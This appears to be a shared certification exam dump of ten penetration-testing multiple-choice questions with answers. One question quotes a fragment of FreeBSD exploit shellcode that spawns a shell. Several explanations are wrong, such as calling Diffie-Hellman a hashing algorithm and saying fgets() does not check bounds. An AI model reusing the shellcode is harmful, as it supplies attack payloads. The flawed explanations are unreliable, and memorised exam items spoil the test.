# Free Questions for CPEH-001 by dumpssheet

## Shared by Dodson on 06-06-2022

**For More Free Questions and Preparation Resources**

**Check the Links on Last Page**

# Question 1

**Question Type:** MultipleChoice

Vulnerability mapping occurs after which phase of a penetration test?

## Options:

**A-** Host scanning

**B-** Passive information gathering

**C-** Analysis of host scanning

**D-** Network level discovery

## Answer:

C

## Explanation:

The order should be Passive information gathering, Network level discovery, Host scanning and Analysis of host scanning.

# Question 2

**Question Type:** MultipleChoice

In which of the following should be performed first in any penetration test?

## Options:

**A-** System identification

**B-** Intrusion Detection System testing

**C-** Passive information gathering

**D-** Firewall testing

## Answer:

C

# Question 3

**Question Type:** MultipleChoice

A client has approached you with a penetration test requirements. They are concerned with the possibility of external threat, and have invested considerable resources in protecting their Internet exposure. However, their main concern is the possibility of an employee elevating his/her privileges and gaining access to information outside of their respective department. What kind of penetration test would you recommend that would best address the client's concern?

### Options:

**A-** A Black Box test

**B-** A Black Hat test

**C-** A Grey Box test

**D-** A Grey Hat test

**E-** A White Box test

**F-** A White Hat test

### Answer:

C

## Question 4

**Question Type:** **MultipleChoice**

There is some dispute between two network administrators at your company. Your boss asks you to come and meet with the administrators to set the record straight. Which of these are true about PKI and encryption?

Select the best answers.

## Options:

**A-** PKI provides data with encryption, compression, and restorability.

**B-** Public-key encryption was invented in 1976 by Whitfield Diffie and Martin Hellman.

**C-** When it comes to eCommerce, as long as you have authenticity, and authenticity, you do not need encryption.

**D-** RSA is a type of encryption.

## Answer:

B, D

## Explanation:

PKI provides confidentiality, integrity, and authenticity of the messages exchanged between these two types of systems. The 3rd party provides the public key and the receiver verifies the message with a combination of the private and public key. Public-key encryption WAS invented in 1976 by Whitfield Diffie and Martin Hellman. The famous hashing algorithm Diffie-Hellman was named after them. The RSA Algorithm is created by the RSA Security company that also has created other widely used encryption algorithms.

# Question 5

**Question Type:** MultipleChoice

Which of the following best describes session key creation in SSL?

## Options:

**A-** It is created by the server after verifying theuser's identity

**B-** It is created by the server upon connection by the client

**C-** It is created by the client from the server's public key

**D-** It is created by the client after verifying the server's identity

## Answer:

D

## Explanation:

An SSL session always begins with an exchange of messages called the SSL handshake. The handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows. Optionally, the handshake also allows the client to authenticate itself to the server.

# Question 6

**Question Type:** MultipleChoice

Which of the following is NOT true of cryptography?

## Options:

**A-** Science of protecting information by encoding it into an unreadable format

**B-** Method of storing and transmitting data in a form that only those it is intended for can read and process

**C-** Most (if not all) algorithms can be broken by both technical and non-technical means

**D-** An effective way of protecting sensitive information in storage but not in transit

## Answer:

D

### Explanation:

Cryptography will protect data in both storage and in transit.

## Question 7

**Question Type:** MultipleChoice

What is SYSKEY # of bits used for encryption?

### Options:

**A-** 40

**B-** 64

**C-** 128

**D-** 256

### Answer:

C

### Explanation:

System Key hotfix is an optional feature which allows stronger encryption of SAM. Strong encryption protects private account information by encrypting the password data using a 128-bit cryptographically random key, known as a password encryption key.

## Question 8

**Question Type:** MultipleChoice

The following exploit code is extracted from what kind of attack?

```
#define MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)&0xff00)8),
(((x)&0xff0000)16), (((x)&0xff000000)24)
char infin_loop[]=
/* for testing purposes */
"\xEB\xFE";
char bsdcode[] =
/* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";static int magic[MAX_MAGIC], magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL, *username="user", *password=NULL;
struct targets getit;
```

## Options:

**A-** Remote password cracking attack

**B-** SQL Injection

**C-** Distributed Denial of Service

**D-** Cross Site Scripting

**E-** Buffer Overflow

### Answer:

E

### Explanation:

This is a buffer overflow with it's payload in hex format.

## Question 9

**Question Type:** MultipleChoice

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) then it was intended to hold.What is the most common cause of buffer overflow in software today?

### Options:

**A-** Bad permissions on files.

**B-** High bandwidth and large number of users.

**C-** Usage of non standard programming languages.

**D-** Bad quality assurance on software produced.

### Answer:

D

### Explanation:

Technically, a buffer overflow is a problem with the program's internal implementation.

## Question 10

**Question Type:** MultipleChoice

The programmers on your team are analyzing the free, open source software being used to run FTP services on a server. They notice that there is an excessive number of fgets() and gets() on the source code. These C++ functions do not check bounds.What kind of attack is this program susceptible to?

## Options:

**A-** Buffer of Overflow

**B-** Denial of Service

**C-** Shatter Attack

**D-** Password Attack

## Answer:

A

## Explanation:

C users must avoid using dangerous functions that do not check bounds unless they've ensured that the bounds will never get exceeded. A buffer overflow occurs when you write a set of values (usually a string of characters) into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program.